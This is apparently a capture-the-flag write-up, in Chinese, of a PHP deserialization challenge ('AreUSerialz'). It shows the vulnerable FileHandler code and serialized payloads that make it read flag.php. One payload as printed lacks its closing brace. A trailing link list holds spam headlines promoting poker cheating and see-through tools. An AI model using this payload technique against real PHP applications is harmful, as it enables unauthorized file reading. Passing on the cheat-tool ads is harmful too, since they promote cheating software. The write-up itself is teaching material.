[网鼎杯 2020 青龙组]AreUSerialz1
创始人
2024-11-15 10:11:09
0

打开题目

熟悉的php,代码审计

可知这是一题反序列化类型的题目。

按照常规方法,首先,我们先将代码复制到本地进行序列化构造,

根据代码逻辑分析,咱们可知    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

_destruct()析构函数当对象被销毁时会被自动调用;所以当反序列化函数调用时,会触发这个

分析此方法内的代码逻辑,当我们需要它正确输出flag时此魔术方法调用后会接着正确调用此对象中的process()方法和output()方法,所以write()方法也可以删除不用看, protected $content属性也可直接删了。

include("flag.php");
highlight_file(__FILE__);
class FileHandler {
    protected $op;
    protected $filename;
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
 
    private function output($s) {
        echo "[Result]:
";
        echo $s;
    }
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
            $this->process();
    }
}
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
if(isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

根据构造函数is_valid($s) 可知,

$s的值ASCII码范围得在32<=$s<=125;

再根据构造函数read()可知,

$filename值基本为flag.php

根据上述信息,构造第一个序列化值得到:

O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}

php将属性类型换成public

include("flag.php");
highlight_file(__FILE__);
class FileHandler {
    public $op=2;
    public $filename="flag.php";
}
 O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";

相关内容

热门资讯

透视ai代打!德州机器人代打脚... 透视ai代打!德州机器人代打脚本,哈糖大菠萝开挂,透明挂教程(有挂方法)1、点击下载安装,德州机器人...
透视了解!hhpoker辅助,... 透视了解!hhpoker辅助,hhpoker德州真的假的,爆料教程(有挂攻略)一、hhpoker德州...
透视辅助!wepoker透视是... 透视辅助!wepoker透视是真的吗,wepoker免费透视(竟然存在有挂)运wepoker透视是真...
透视能赢!aapoker怎么选... 透视能赢!aapoker怎么选牌,aapoker怎么拿好牌,软件教程(有挂揭秘);在进入aapoke...
透视实锤!拱趴大菠萝挂怎么安装... 透视实锤!拱趴大菠萝挂怎么安装,菠萝德普辅助器免费版在哪里,技巧教程(有挂详情)1、金币登录送、破产...
透视辅助!wepoker软件安... 透视辅助!wepoker软件安装包,hhpoker有后台操控吗,详细教程(有挂辅助)1、很好的工具软...
透视辅助!wepoker怎么发... 透视辅助!wepoker怎么发冤家牌,wepoker透视脚本免费使用视频(本来是有挂)wepoker...
透视智能ai!aapoker万... 透视智能ai!aapoker万能辅助器,aapoker辅助器怎么用,黑科技教程(有挂详情)1)aap...
透视苹果版!聚星ai辅助工具收... 透视苹果版!聚星ai辅助工具收费多少,德州透视插件,微扑克教程(有挂工具);1、用户打开应用后不用登...
透视安装!hhpoker德州牛... 透视安装!hhpoker德州牛仔视频,hhpoker德州透视,教你攻略(有挂介绍)1、操作简单,无需...